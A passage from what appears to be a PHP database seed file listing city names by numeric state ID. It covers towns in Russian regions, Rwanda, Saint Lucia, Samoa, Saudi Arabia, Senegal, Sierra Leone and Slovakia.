'3057', 'name' => 'rezh'],\n ['state_id' => '3057', 'name' => 'serov'],\n ['state_id' => '3057', 'name' => 'severouralsk'],\n ['state_id' => '3057', 'name' => 'sosva'],\n ['state_id' => '3057', 'name' => 'sredneuralsk'],\n ['state_id' => '3057', 'name' => 'suhoj log'],\n ['state_id' => '3057', 'name' => 'svobodnyj'],\n ['state_id' => '3057', 'name' => 'sysert'],\n ['state_id' => '3057', 'name' => 'talica'],\n ['state_id' => '3057', 'name' => 'tavda'],\n ['state_id' => '3057', 'name' => 'troickij'],\n ['state_id' => '3057', 'name' => 'turinsk'],\n ['state_id' => '3057', 'name' => 'uralskij'],\n ['state_id' => '3057', 'name' => 'verhnij tagil'],\n ['state_id' => '3057', 'name' => 'verhnjaja pyshma'],\n ['state_id' => '3057', 'name' => 'verhnjaja salda'],\n ['state_id' => '3057', 'name' => 'verhnjaja sinyachiha'],\n ['state_id' => '3057', 'name' => 'verhnjaja tura'],\n ['state_id' => '3057', 'name' => 'verhoturje'],\n ['state_id' => '3057', 'name' => 'volchansk'],\n ['state_id' => '3057', 'name' => 'yekaterinburg'],\n ['state_id' => '3057', 'name' => 'zarechnyj'],\n ['state_id' => '3057', 'name' => 'zjuzelskij'],\n ['state_id' => '3058', 'name' => 'dudinka'],\n ['state_id' => '3059', 'name' => 'dmitrievka'],\n ['state_id' => '3059', 'name' => 'inzhavino'],\n ['state_id' => '3059', 'name' => 'kirsanov'],\n ['state_id' => '3059', 'name' => 'kotovsk'],\n ['state_id' => '3059', 'name' => 'michurinsk'],\n ['state_id' => '3059', 'name' => 'morshansk'],\n ['state_id' => '3059', 'name' => 'pervomajskij'],\n ['state_id' => '3059', 'name' => 'rasskazovo'],\n ['state_id' => '3059', 'name' => 'sosnovka'],\n ['state_id' => '3059', 'name' => 'tambov'],\n ['state_id' => '3059', 'name' => 'uvarovo'],\n ['state_id' => '3059', 'name' => 'zherdevka'],\n ['state_id' => '3059', 'name' => 'znamenka'],\n ['state_id' => '3060', 'name' => 'agryz'],\n ['state_id' => '3060', 'name' => 'aksubajevo'],\n ['state_id' => '3060', 'name' => 'aktjubinskij'],\n ['state_id' => '3060', 'name' => 'aleksejevskoje'],\n ['state_id' => '3060', 'name' => 'almetjevsk'],\n ['state_id' => '3060', 'name' => 'arsk'],\n ['state_id' => '3060', 'name' => 'aznakajevo'],\n ['state_id' => '3060', 'name' => 'bavly'],\n ['state_id' => '3060', 'name' => 'bugulma'],\n ['state_id' => '3060', 'name' => 'buinsk'],\n ['state_id' => '3060', 'name' => 'chistopol'],\n ['state_id' => '3060', 'name' => 'dzhalil'],\n ['state_id' => '3060', 'name' => 'jelabuga'],\n ['state_id' => '3060', 'name' => 'kamskie poljany'],\n ['state_id' => '3060', 'name' => 'kazan'],\n ['state_id' => '3060', 'name' => 'kukmor'],\n ['state_id' => '3060', 'name' => 'leninogorsk'],\n ['state_id' => '3060', 'name' => 'mamadysh'],\n ['state_id' => '3060', 'name' => 'mendelejevsk'],\n ['state_id' => '3060', 'name' => 'menzelinsk'],\n ['state_id' => '3060', 'name' => 'naberezhnyje chelny'],\n ['state_id' => '3060', 'name' => 'nizhnekamsk'],\n ['state_id' => '3060', 'name' => 'niznjaja maktama'],\n ['state_id' => '3060', 'name' => 'nurlat'],\n ['state_id' => '3060', 'name' => 'tetjushi'],\n ['state_id' => '3060', 'name' => 'urussu'],\n ['state_id' => '3060', 'name' => 'vasiljevo'],\n ['state_id' => '3060', 'name' => 'zainsk'],\n ['state_id' => '3060', 'name' => 'zeljonodolsk'],\n ['state_id' => '3061', 'name' => 'bogandinskij'],\n ['state_id' => '3061', 'name' => 'borovskij'],\n ['state_id' => '3061', 'name' => 'golyshmanovo'],\n ['state_id' => '3061', 'name' => 'ishim'],\n ['state_id' => '3061', 'name' => 'jalutorovosk'],\n ['state_id' => '3061', 'name' => 'tjumen'],\n ['state_id' => '3061', 'name' => 'tobolsk'],\n ['state_id' => '3061', 'name' => 'vinzili'],\n ['state_id' => '3061', 'name' => 'zavodoukovsk'],\n ['state_id' => '3062', 'name' => 'asino'],\n ['state_id' => '3062', 'name' => 'jaja'],\n ['state_id' => '3062', 'name' => 'kolpashevo'],\n ['state_id' => '3062', 'name' => 'seversk'],\n ['state_id' => '3062', 'name' => 'strezhevoj'],\n ['state_id' => '3062', 'name' => 'tomsk'],\n ['state_id' => '3063', 'name' => 'agejevo'],\n ['state_id' => '3063', 'name' => 'aleksin'],\n ['state_id' => '3063', 'name' => 'beljov'],\n ['state_id' => '3063', 'name' => 'bogoroditsk'],\n ['state_id' => '3063', 'name' => 'bolohovo'],\n ['state_id' => '3063', 'name' => 'donskoj'],\n ['state_id' => '3063', 'name' => 'dubovka'],\n ['state_id' => '3063', 'name' => 'jasnogorsk'],\n ['state_id' => '3063', 'name' => 'jefremov'],\n ['state_id' => '3063', 'name' => 'kimovsk'],\n ['state_id' => '3063', 'name' => 'kirejevsk'],\n ['state_id' => '3063', 'name' => 'kosaja gora'],\n ['state_id' => '3063', 'name' => 'leninskij'],\n ['state_id' => '3063', 'name' => 'lipki'],\n ['state_id' => '3063', 'name' => 'mendelejevskij'],\n ['state_id' => '3063', 'name' => 'novomoskovsk'],\n ['state_id' => '3063', 'name' => 'pervomajskij'],\n ['state_id' => '3063', 'name' => 'plavsk'],\n ['state_id' => '3063', 'name' => 'severo-zadonsk'],\n ['state_id' => '3063', 'name' => 'shchjokino'],\n ['state_id' => '3063', 'name' => 'skuratovskij'],\n ['state_id' => '3063', 'name' => 'sokolniki'],\n ['state_id' => '3063', 'name' => 'sovetsk'],\n ['state_id' => '3063', 'name' => 'suvorov'],\n ['state_id' => '3063', 'name' => 'tovarkovskij'],\n ['state_id' => '3063', 'name' => 'tula'],\n ['state_id' => '3063', 'name' => 'uzlovaja'],\n ['state_id' => '3063', 'name' => 'venjov'],\n ['state_id' => '3064', 'name' => 'andreapol'],\n ['state_id' => '3064', 'name' => 'bezheck'],\n ['state_id' => '3064', 'name' => 'bologoe'],\n ['state_id' => '3064', 'name' => 'kaljazin'],\n ['state_id' => '3064', 'name' => 'kashin'],\n ['state_id' => '3064', 'name' => 'kimry'],\n ['state_id' => '3064', 'name' => 'konakovo'],\n ['state_id' => '3064', 'name' => 'kuvshinovo'],\n ['state_id' => '3064', 'name' => 'lihoslavl'],\n ['state_id' => '3064', 'name' => 'maksatiha'],\n ['state_id' => '3064', 'name' => 'ostashkov'],\n ['state_id' => '3064', 'name' => 'ozjornyj'],\n ['state_id' => '3064', 'name' => 'pelidovo'],\n ['state_id' => '3064', 'name' => 'rameshki'],\n ['state_id' => '3064', 'name' => 'redkino'],\n ['state_id' => '3064', 'name' => 'rzhev'],\n ['state_id' => '3064', 'name' => 'solnechnyj'],\n ['state_id' => '3064', 'name' => 'starica'],\n ['state_id' => '3064', 'name' => 'toropec'],\n ['state_id' => '3064', 'name' => 'torzhok'],\n ['state_id' => '3064', 'name' => 'tver'],\n ['state_id' => '3064', 'name' => 'udomlja'],\n ['state_id' => '3064', 'name' => 'vyshnij volochok'],\n ['state_id' => '3064', 'name' => 'zapadnaja dvina'],\n ['state_id' => '3065', 'name' => 'ak-dovurak'],\n ['state_id' => '3065', 'name' => 'kyzyl'],\n ['state_id' => '3066', 'name' => 'balezino'],\n ['state_id' => '3066', 'name' => 'glazov'],\n ['state_id' => '3066', 'name' => 'igra'],\n ['state_id' => '3066', 'name' => 'izhevsk'],\n ['state_id' => '3066', 'name' => 'kambarka'],\n ['state_id' => '3066', 'name' => 'kez'],\n ['state_id' => '3066', 'name' => 'kizner'],\n ['state_id' => '3066', 'name' => 'mozhga'],\n ['state_id' => '3066', 'name' => 'sarapul'],\n ['state_id' => '3066', 'name' => 'uva'],\n ['state_id' => '3066', 'name' => 'votkinsk'],\n ['state_id' => '3067', 'name' => 'barysh'],\n ['state_id' => '3067', 'name' => 'cherdakly'],\n ['state_id' => '3067', 'name' => 'dimitrovgrad'],\n ['state_id' => '3067', 'name' => 'inza'],\n ['state_id' => '3067', 'name' => 'isheevka'],\n ['state_id' => '3067', 'name' => 'novospasskoe'],\n ['state_id' => '3067', 'name' => 'novouljanovsk'],\n ['state_id' => '3067', 'name' => 'sengilej'],\n ['state_id' => '3067', 'name' => 'uljanovsk'],\n ['state_id' => '3069', 'name' => 'ust-ordynskij'],\n ['state_id' => '3070', 'name' => 'aleksandrov'],\n ['state_id' => '3070', 'name' => 'balakirevo'],\n ['state_id' => '3070', 'name' => 'gorohovec'],\n ['state_id' => '3070', 'name' => 'gus-hrustalnyj'],\n ['state_id' => '3070', 'name' => 'jurjev polskij'],\n ['state_id' => '3070', 'name' => 'kameshkovo'],\n ['state_id' => '3070', 'name' => 'karabanovo'],\n ['state_id' => '3070', 'name' => 'kirzhach'],\n ['state_id' => '3070', 'name' => 'kolchugino'],\n ['state_id' => '3070', 'name' => 'kosterovo'],\n ['state_id' => '3070', 'name' => 'kovrov'],\n ['state_id' => '3070', 'name' => 'krasnaja gorbatka'],\n ['state_id' => '3070', 'name' => 'krasnyj oktjabr'],\n ['state_id' => '3070', 'name' => 'lakinsk'],\n ['state_id' => '3070', 'name' => 'melenki'],\n ['state_id' => '3070', 'name' => 'murom'],\n ['state_id' => '3070', 'name' => 'novovjazniki'],\n ['state_id' => '3070', 'name' => 'pokrov'],\n ['state_id' => '3070', 'name' => 'raduzhnyj'],\n ['state_id' => '3070', 'name' => 'sobinka'],\n ['state_id' => '3070', 'name' => 'strunino'],\n ['state_id' => '3070', 'name' => 'sudogda'],\n ['state_id' => '3070', 'name' => 'suzdal'],\n ['state_id' => '3070', 'name' => 'vjazniki'],\n ['state_id' => '3070', 'name' => 'vladimir'],\n ['state_id' => '3071', 'name' => 'dubovka'],\n ['state_id' => '3071', 'name' => 'frolovo'],\n ['state_id' => '3071', 'name' => 'gorkovskij'],\n ['state_id' => '3071', 'name' => 'gorodishche'],\n ['state_id' => '3071', 'name' => 'ilovlja'],\n ['state_id' => '3071', 'name' => 'jelan'],\n ['state_id' => '3071', 'name' => 'kalach-na-donu'],\n ['state_id' => '3071', 'name' => 'kamyshin'],\n ['state_id' => '3071', 'name' => 'kotelnikovo'],\n ['state_id' => '3071', 'name' => 'kotovo'],\n ['state_id' => '3071', 'name' => 'krasnoslobodsk'],\n ['state_id' => '3071', 'name' => 'leninsk'],\n ['state_id' => '3071', 'name' => 'mihajlovka'],\n ['state_id' => '3071', 'name' => 'nikolajevsk'],\n ['state_id' => '3071', 'name' => 'nizhny novgorod'],\n ['state_id' => '3071', 'name' => 'novoanninskij'],\n ['state_id' => '3071', 'name' => 'novonikolajevskij'],\n ['state_id' => '3071', 'name' => 'pallasovka'],\n ['state_id' => '3071', 'name' => 'petrov val'],\n ['state_id' => '3071', 'name' => 'serafimovich'],\n ['state_id' => '3071', 'name' => 'surovikino'],\n ['state_id' => '3071', 'name' => 'svetlyj jar'],\n ['state_id' => '3071', 'name' => 'urjupinsk'],\n ['state_id' => '3071', 'name' => 'volgograd'],\n ['state_id' => '3071', 'name' => 'volzhskij'],\n ['state_id' => '3071', 'name' => 'zhirnovsk'],\n ['state_id' => '3072', 'name' => 'babajevo'],\n ['state_id' => '3072', 'name' => 'belozjorsk'],\n ['state_id' => '3072', 'name' => 'cherepovec'],\n ['state_id' => '3072', 'name' => 'grjazovec'],\n ['state_id' => '3072', 'name' => 'harovsk'],\n ['state_id' => '3072', 'name' => 'kaduj'],\n ['state_id' => '3072', 'name' => 'krasavino'],\n ['state_id' => '3072', 'name' => 'sheksna'],\n ['state_id' => '3072', 'name' => 'sokol'],\n ['state_id' => '3072', 'name' => 'totma'],\n ['state_id' => '3072', 'name' => 'velikij ustjug'],\n ['state_id' => '3072', 'name' => 'vologda'],\n ['state_id' => '3072', 'name' => 'vytegra'],\n ['state_id' => '3073', 'name' => 'anna'],\n ['state_id' => '3073', 'name' => 'bobrov'],\n ['state_id' => '3073', 'name' => 'boguchar'],\n ['state_id' => '3073', 'name' => 'borisoglebsk'],\n ['state_id' => '3073', 'name' => 'buturlinovka'],\n ['state_id' => '3073', 'name' => 'ertil'],\n ['state_id' => '3073', 'name' => 'gribanovskij'],\n ['state_id' => '3073', 'name' => 'kalach'],\n ['state_id' => '3073', 'name' => 'kamenka'],\n ['state_id' => '3073', 'name' => 'kantemirovka'],\n ['state_id' => '3073', 'name' => 'liski'],\n ['state_id' => '3073', 'name' => 'novohopjorsk'],\n ['state_id' => '3073', 'name' => 'novovoronezh'],\n ['state_id' => '3073', 'name' => 'ostrogozhsk'],\n ['state_id' => '3073', 'name' => 'pavlovsk'],\n ['state_id' => '3073', 'name' => 'povorino'],\n ['state_id' => '3073', 'name' => 'pridonskij'],\n ['state_id' => '3073', 'name' => 'rossosh'],\n ['state_id' => '3073', 'name' => 'semiluki'],\n ['state_id' => '3073', 'name' => 'somovo'],\n ['state_id' => '3073', 'name' => 'talovaja'],\n ['state_id' => '3073', 'name' => 'voronezh'],\n ['state_id' => '3074', 'name' => 'butare'],\n ['state_id' => '3074', 'name' => 'nyanza'],\n ['state_id' => '3075', 'name' => 'byumba'],\n ['state_id' => '3076', 'name' => 'cyangugu'],\n ['state_id' => '3077', 'name' => 'gikongoro'],\n ['state_id' => '3078', 'name' => 'gisenyi'],\n ['state_id' => '3079', 'name' => 'gitarama'],\n ['state_id' => '3080', 'name' => 'kibungo'],\n ['state_id' => '3080', 'name' => 'rwamagana'],\n ['state_id' => '3081', 'name' => 'kibuye'],\n ['state_id' => '3082', 'name' => 'kigali'],\n ['state_id' => '3083', 'name' => 'ruhengeri'],\n ['state_id' => '3084', 'name' => 'georgetown'],\n ['state_id' => '3102', 'name' => 'anse-la-raye'],\n ['state_id' => '3103', 'name' => 'canaries'],\n ['state_id' => '3104', 'name' => 'castries'],\n ['state_id' => '3104', 'name' => 'choc'],\n ['state_id' => '3105', 'name' => 'choiseul'],\n ['state_id' => '3106', 'name' => 'dennery'],\n ['state_id' => '3108', 'name' => 'laborie'],\n ['state_id' => '3109', 'name' => 'micoud'],\n ['state_id' => '3110', 'name' => 'soufriere'],\n ['state_id' => '3112', 'name' => 'miquelon'],\n ['state_id' => '3113', 'name' => 'saint-pierre'],\n ['state_id' => '3114', 'name' => 'biabou'],\n ['state_id' => '3114', 'name' => 'byera'],\n ['state_id' => '3114', 'name' => 'georgetown'],\n ['state_id' => '3115', 'name' => 'dovers'],\n ['state_id' => '3115', 'name' => 'hamilton'],\n ['state_id' => '3115', 'name' => 'port elizabeth'],\n ['state_id' => '3120', 'name' => 'falelatai'],\n ['state_id' => '3121', 'name' => 'mulifanua'],\n ['state_id' => '3122', 'name' => 'solosolo'],\n ['state_id' => '3123', 'name' => 'safotulafai'],\n ['state_id' => '3124', 'name' => 'samalae\\'ulu'],\n ['state_id' => '3125', 'name' => 'a\\'opo'],\n ['state_id' => '3126', 'name' => 'taga'],\n ['state_id' => '3127', 'name' => 'gautavai'],\n ['state_id' => '3128', 'name' => 'apia'],\n ['state_id' => '3129', 'name' => 'samamea'],\n ['state_id' => '3130', 'name' => 'neiafu'],\n ['state_id' => '3131', 'name' => 'acquaviva'],\n ['state_id' => '3133', 'name' => 'chiesanuova'],\n ['state_id' => '3134', 'name' => 'domagnano'],\n ['state_id' => '3135', 'name' => 'faetano'],\n ['state_id' => '3136', 'name' => 'fiorentino'],\n ['state_id' => '3137', 'name' => 'montegiardino'],\n ['state_id' => '3139', 'name' => 'serravalle'],\n ['state_id' => '3141', 'name' => 'santana'],\n ['state_id' => '3142', 'name' => 'neves'],\n ['state_id' => '3143', 'name' => 'santo amaro'],\n ['state_id' => '3144', 'name' => 'trindade'],\n ['state_id' => '3145', 'name' => 'santo antonio'],\n ['state_id' => '3147', 'name' => 'mahayel'],\n ['state_id' => '3149', 'name' => 'abha'],\n ['state_id' => '3149', 'name' => 'abu \\'aris'],\n ['state_id' => '3149', 'name' => 'khamis mushayt'],\n ['state_id' => '3149', 'name' => 'qal\\'at bishah'],\n ['state_id' => '3152', 'name' => 'ha\\'il'],\n ['state_id' => '3153', 'name' => 'jawf'],\n ['state_id' => '3153', 'name' => 'sakakah'],\n ['state_id' => '3154', 'name' => 'jizan'],\n ['state_id' => '3154', 'name' => 'sabya'],\n ['state_id' => '3155', 'name' => 'makkah'],\n ['state_id' => '3155', 'name' => 'rabig'],\n ['state_id' => '3155', 'name' => 'al-hawiyah'],\n ['state_id' => '3155', 'name' => 'at-ta\\'if'],\n ['state_id' => '3156', 'name' => 'dar\\'iyah'],\n ['state_id' => '3156', 'name' => 'najran'],\n ['state_id' => '3156', 'name' => 'sharurah'],\n ['state_id' => '3157', 'name' => '\\'unayzah'],\n ['state_id' => '3157', 'name' => 'buraydah'],\n ['state_id' => '3157', 'name' => 'ar-rass'],\n ['state_id' => '3158', 'name' => 'tabuk'],\n ['state_id' => '3158', 'name' => 'umm lajj'],\n ['state_id' => '3160', 'name' => 'al-bahah'],\n ['state_id' => '3161', 'name' => 'ara\\'ar'],\n ['state_id' => '3161', 'name' => 'rafha'],\n ['state_id' => '3161', 'name' => 'turayf'],\n ['state_id' => '3161', 'name' => 'al-qurayyat'],\n ['state_id' => '3162', 'name' => 'yanbu'],\n ['state_id' => '3162', 'name' => 'al-madinah'],\n ['state_id' => '3163', 'name' => '\\'afif'],\n ['state_id' => '3163', 'name' => 'ad-dawadimi'],\n ['state_id' => '3163', 'name' => 'ad-dilam'],\n ['state_id' => '3163', 'name' => 'al-kharj'],\n ['state_id' => '3163', 'name' => 'al-majma\\'ah'],\n ['state_id' => '3163', 'name' => 'ar-riyad'],\n ['state_id' => '3163', 'name' => 'az-zulfi'],\n ['state_id' => '3164', 'name' => 'dakar'],\n ['state_id' => '3165', 'name' => 'bambey'],\n ['state_id' => '3165', 'name' => 'diourbel'],\n ['state_id' => '3165', 'name' => 'mbacke'],\n ['state_id' => '3165', 'name' => 'touba'],\n ['state_id' => '3166', 'name' => 'diofior'],\n ['state_id' => '3166', 'name' => 'fatick'],\n ['state_id' => '3166', 'name' => 'foundiougne'],\n ['state_id' => '3166', 'name' => 'gossas'],\n ['state_id' => '3166', 'name' => 'guinguineo'],\n ['state_id' => '3166', 'name' => 'kahone'],\n ['state_id' => '3166', 'name' => 'passy'],\n ['state_id' => '3166', 'name' => 'sokone'],\n ['state_id' => '3167', 'name' => 'gandiaye'],\n ['state_id' => '3167', 'name' => 'kaffrine'],\n ['state_id' => '3167', 'name' => 'kaolack'],\n ['state_id' => '3167', 'name' => 'koungheul'],\n ['state_id' => '3167', 'name' => 'medina'],\n ['state_id' => '3167', 'name' => 'ndoffane lagheme'],\n ['state_id' => '3167', 'name' => 'nioro du rip'],\n ['state_id' => '3167', 'name' => 'toubakouta'],\n ['state_id' => '3168', 'name' => 'dabo'],\n ['state_id' => '3168', 'name' => 'goudomp'],\n ['state_id' => '3168', 'name' => 'kolda'],\n ['state_id' => '3168', 'name' => 'marsassoum'],\n ['state_id' => '3168', 'name' => 'medina gounas'],\n ['state_id' => '3168', 'name' => 'sedhiou'],\n ['state_id' => '3168', 'name' => 'velingara'],\n ['state_id' => '3168', 'name' => 'wassadou'],\n ['state_id' => '3169', 'name' => 'dahra'],\n ['state_id' => '3169', 'name' => 'kebemer'],\n ['state_id' => '3169', 'name' => 'linguere'],\n ['state_id' => '3169', 'name' => 'louga'],\n ['state_id' => '3170', 'name' => 'dagana'],\n ['state_id' => '3170', 'name' => 'gollere'],\n ['state_id' => '3170', 'name' => 'kanel'],\n ['state_id' => '3170', 'name' => 'matam'],\n ['state_id' => '3170', 'name' => 'ndioum'],\n ['state_id' => '3170', 'name' => 'ourossogui'],\n ['state_id' => '3170', 'name' => 'podor'],\n ['state_id' => '3170', 'name' => 'richard toll'],\n ['state_id' => '3170', 'name' => 'saint-louis'],\n ['state_id' => '3170', 'name' => 'semme'],\n ['state_id' => '3170', 'name' => 'thilogne'],\n ['state_id' => '3170', 'name' => 'waounde'],\n ['state_id' => '3171', 'name' => 'bakel'],\n ['state_id' => '3171', 'name' => 'kedougou'],\n ['state_id' => '3171', 'name' => 'tambacounda'],\n ['state_id' => '3172', 'name' => 'joal-fadiouth'],\n ['state_id' => '3172', 'name' => 'kayar'],\n ['state_id' => '3172', 'name' => 'khombole'],\n ['state_id' => '3172', 'name' => 'mbour'],\n ['state_id' => '3172', 'name' => 'meckhe'],\n ['state_id' => '3172', 'name' => 'nguekhokh'],\n ['state_id' => '3172', 'name' => 'pout'],\n ['state_id' => '3172', 'name' => 'thiadiaye'],\n ['state_id' => '3172', 'name' => 'thies'],\n ['state_id' => '3172', 'name' => 'tivaouane'],\n ['state_id' => '3173', 'name' => 'bignona'],\n ['state_id' => '3173', 'name' => 'oussouye'],\n ['state_id' => '3173', 'name' => 'thionck-essyl'],\n ['state_id' => '3173', 'name' => 'ziguinchor'],\n ['state_id' => '3179', 'name' => 'cascade'],\n ['state_id' => '3180', 'name' => 'takamaka'],\n ['state_id' => '3181', 'name' => 'mahe'],\n ['state_id' => '3182', 'name' => 'biama'],\n ['state_id' => '3182', 'name' => 'daru'],\n ['state_id' => '3182', 'name' => 'kailahun'],\n ['state_id' => '3182', 'name' => 'kenema'],\n ['state_id' => '3182', 'name' => 'koidu'],\n ['state_id' => '3182', 'name' => 'koindu'],\n ['state_id' => '3182', 'name' => 'pendembu'],\n ['state_id' => '3182', 'name' => 'sefadu'],\n ['state_id' => '3182', 'name' => 'segbwema'],\n ['state_id' => '3182', 'name' => 'yengema'],\n ['state_id' => '3183', 'name' => 'kabala'],\n ['state_id' => '3183', 'name' => 'kambia'],\n ['state_id' => '3183', 'name' => 'lungi'],\n ['state_id' => '3183', 'name' => 'lunsar'],\n ['state_id' => '3183', 'name' => 'magburaka'],\n ['state_id' => '3183', 'name' => 'makeni'],\n ['state_id' => '3183', 'name' => 'mambolo'],\n ['state_id' => '3183', 'name' => 'moyamba'],\n ['state_id' => '3183', 'name' => 'pepel'],\n ['state_id' => '3183', 'name' => 'port loko'],\n ['state_id' => '3183', 'name' => 'yele'],\n ['state_id' => '3184', 'name' => 'binkolo'],\n ['state_id' => '3184', 'name' => 'bo'],\n ['state_id' => '3184', 'name' => 'bonthe'],\n ['state_id' => '3184', 'name' => 'bumpe'],\n ['state_id' => '3184', 'name' => 'matru'],\n ['state_id' => '3184', 'name' => 'pujehun'],\n ['state_id' => '3184', 'name' => 'taiama'],\n ['state_id' => '3185', 'name' => 'freetown'],\n ['state_id' => '3185', 'name' => 'york'],\n ['state_id' => '3186', 'name' => 'singapore'],\n ['state_id' => '3187', 'name' => 'banska bystrica'],\n ['state_id' => '3187', 'name' => 'banska shtiavnica'],\n ['state_id' => '3187', 'name' => 'brezno'],\n ['state_id' => '3187', 'name' => 'chierny balog'],\n ['state_id' => '3187', 'name' => 'detva'],\n ['state_id' => '3187', 'name' => 'fil\\'akovo'],\n ['state_id' => '3187', 'name' => 'hnusht\\'a'],\n ['state_id' => '3187', 'name' => 'hrinova'],\n ['state_id' => '3187', 'name' => 'kremnica'],\n ['state_id' => '3187', 'name' => 'krupina'],\n ['state_id' => '3187', 'name' => 'luchenec'],\n ['state_id' => '3187', 'name' => 'nova bana'],\n ['state_id' => '3187', 'name' => 'podbrezova'],\n ['state_id' => '3187', 'name' => 'poltar'],\n ['state_id' => '3187', 'name' => 'revuca'],\n ['state_id' => '3187', 'name' => 'rimavska sobota'],\n ['state_id' => '3187', 'name' => 'sliach'],\n ['state_id' => '3187', 'name' => 'tisovec'],\n ['state_id' => '3187', 'name' => 'tornal\\'a'],\n ['state_id' => '3187', 'name' => 'vel\\'ky krtish'],\n ['state_id' => '3187', 'name' => 'vlkanova'],\n ['state_id' => '3187', 'name' => 'zharnovica'],\n ['state_id' => '3187', 'name' => 'zhiar'],\n ['state_id' => '3187', 'name' => 'ziar nad hronom'],\n ['state_id' => '3187', 'name' => 'zvolen'],\n ['state_id' => '3188', 'name' => 'bernolakovo'],\n ['state_id' => '3188', 'name' => 'bratislava'],\n ['state_id' => '3188', 'name' => 'ivanka pri dunaji'],\n ['state_id' => '3188', 'name' => 'malacky'],\n ['state_id' => '3188', 'name' => 'modra'],\n ['state_id' => '3188', 'name' => 'pezinok'],\n ['state_id' => '3188', 'name' => 'senec'],\n ['state_id' => '3188', 'name' => 'shenkvice'],\n ['state_id' => '3188', 'name' => 'stupava'],\n ['state_id' => '3188', 'name' => 'svaty jur'],\n ['state_id' => '3189', 'name' => 'chana'],\n ['state_id' => '3189', 'name' => 'chierna nad tisou'],\n ['state_id' => '3189', 'name' => 'dobshina'],\n ['state_id' => '3189', 'name' => 'gelnica'],\n ['state_id' => '3189', 'name' => 'kosice'],\n ['state_id' => '3189', 'name' => 'kral\\'ovsky chlmec'],\n ['state_id' => '3189', 'name' => 'krompachy'],\n ['state_id' => '3189', 'name' => 'medzev'],\n ['state_id' => '3189', 'name' => 'michalovce'],\n ['state_id' => '3189', 'name' => 'moldava nad bodvou'],\n ['state_id' => '3189', 'name' => 'pavlovce nad uhom'],\n ['state_id' => '3189', 'name' => 'rozhnava'],\n ['state_id' => '3189', 'name' => 'sechovce'],\n ['state_id' => '3189', 'name' => 'smizhany'],\n ['state_id' => '3189', 'name' => 'sobrance'],\n ['state_id' => '3189', 'name' => 'strazhske'],\n ['state_id' => '3189', 'name' => 'trebishov'],\n ['state_id' => '3189', 'name' => 'vel\\'ke kapushany'],\n ['state_id' => '3189', 'name' => 'vranov'],\n ['state_id' => '3190', 'name' => 'dvory nad zhitavou'],\n ['state_id' => '3190', 'name' => 'hurbanovo'],\n ['state_id' => '3190', 'name' => 'kolarovo'],\n ['state_id' => '3190', 'name' => 'komarno'],\n ['state_id' => '3190', 'name' => 'komjatice'],\n ['state_id' => '3190', 'name' => 'levice'],\n ['state_id' => '3190', 'name' => 'levocha'],\n ['state_id' => '3190', 'name' => 'mocenok'],\n ['state_id' => '3190', 'name' => 'nesvady'],\n ['state_id' => '3190', 'name' => 'nitra'],\n ['state_id' => '3190', 'name' => 'nove zamky'],\n ['state_id' => '3190', 'name' => 'palarikovo'],\n ['state_id' => '3190', 'name' => 'shahy'],\n ['state_id' => '3190', 'name' => 'shal\\'a'],\n ['state_id' => '3190', 'name' => 'shturovo'],\n ['state_id' => '3190', 'name' => 'shurany'],\n ['state_id' => '3190', 'name' => 'svodin'],\n ['state_id' => '3190', 'name' => 'tlmache'],\n ['state_id' => '3190', 'name' => 'tvrdoshovce'],\n ['state_id' => '3190', 'name' => 'vrable'],\n ['state_id' => '3190', 'name' => 'zlate moravce'],\n ['state_id' => '3191', 'name' => 'bardejov'],\n ['state_id' => '3191', 'name' => 'giraltovce'],\n ['state_id' => '3191', 'name' => 'humenne'],\n ['state_id' => '3191', 'name' => 'jarovnice'],\n ['state_id' => '3191', 'name' => 'kezhmarok'],\n ['state_id' => '3191', 'name' => 'lipany'],\n ['state_id' => '3191', 'name' => 'medzilaborce'],\n ['state_id' => '3191', 'name' => 'podolinec'],\n ['state_id' => '3191', 'name' => 'poprad'],\n ['state_id' => '3191', 'name' => 'preshov'],\n ['state_id' => '3191', 'name' => 'presov'],\n ['state_id' => '3191', 'name' => 'sabinov'],\n ['state_id' => '3191', 'name' => 'snina'],\n ['state_id' => '3191', 'name' => 'spishska bela'],\n ['state_id' => '3191', 'name' => 'spishska nova ves'],\n ['state_id' => '3191', 'name' => 'spishske podhradie'],\n ['state_id' => '3191', 'name' => 'stara l\\'ubovna'],\n ['state_id' => '3191', 'name' => 'stropkov'],\n ['state_id' => '3191', 'name' => 'svidnik'],\n ['state_id' => '3191', 'name' => 'svit'],\n ['state_id' => '3191', 'name' => 'vel\\'ky sharish'],\n ['state_id' => '3191', 'name' => 'vysoke tatry'],\n ['state_id' => '3192', 'name' => 'banovce'],\n ['state_id' => '3192', 'name' => 'belusha'],\n ['state_id' => '3192', 'name' => 'bojnice'],\n ['state_id' => '3192', 'name' => 'boshany'],\n ['state_id' => '3192', 'name' => 'dubnica'],\n ['state_id' => '3192', 'name' => 'handlova'],\n ['state_id' => '3192', 'name' => 'ilava'],\n ['state_id' => '3192', 'name' => 'lednicke rovne'],\n ['state_id' => '3192', 'name' => 'lendak'],\n ['state_id' => '3192', 'name' => 'myjava'],\n ['state_id' => '3192', 'name' => 'nemshova'],\n ['state_id' => '3192', 'name' => 'nova dubnica'],\n ['state_id' => '3192', 'name' => 'novaky'],\n ['state_id' => '3192', 'name' => 'nove mesto'],\n ['state_id' => '3192', 'name' => 'partizanske'],\n ['state_id' => '3192', 'name' => 'povazhska bystrica'],\n ['state_id' => '3192', 'name' => 'prievidza'],\n ['state_id' => '3192', 'name' => 'puchov'],\n ['state_id' => '3192', 'name' => 'stara tura'],\n ['state_id' => '3192', 'name' => 'topol\\'chany'],\n ['state_id' => '3192', 'name' => 'trenchianske teplice'],\n ['state_id' => '3192', 'name' => 'trenchin'],\n ['state_id' => '3192', 'name' => 'trencin'],\n ['state_id' => '3193', 'name' => 'brezova pod bradlom'],\n ['state_id' => '3193', 'name' => 'dunajska streda'],\n ['state_id' => '3193', 'name' => 'gabchikovo'],\n ['state_id' => '3193', 'name' => 'galanta'],\n ['state_id' => '3193', 'name' => 'gbely'],\n ['state_id' => '3193', 'name' => 'hlohovec'],\n ['state_id' => '3193', 'name' => 'holich'],\n ['state_id' => '3193', 'name' => 'kuty'],\n ['state_id' => '3193', 'name' => 'leopoldov'],\n ['state_id' => '3193', 'name' => 'piesht\\'any'],\n ['state_id' => '3193', 'name' => 'piestany'],\n ['state_id' => '3193', 'name' => 'senica'],\n ['state_id' => '3193', 'name' => 'sered\\''],\n ['state_id' => '3193', 'name' => 'shamorin'],\n ['state_id' => '3193', 'name' => 'shashtin-strazhe'],\n ['state_id' => '3193', 'name' => 'shoporna'],\n ['state_id' => '3193', 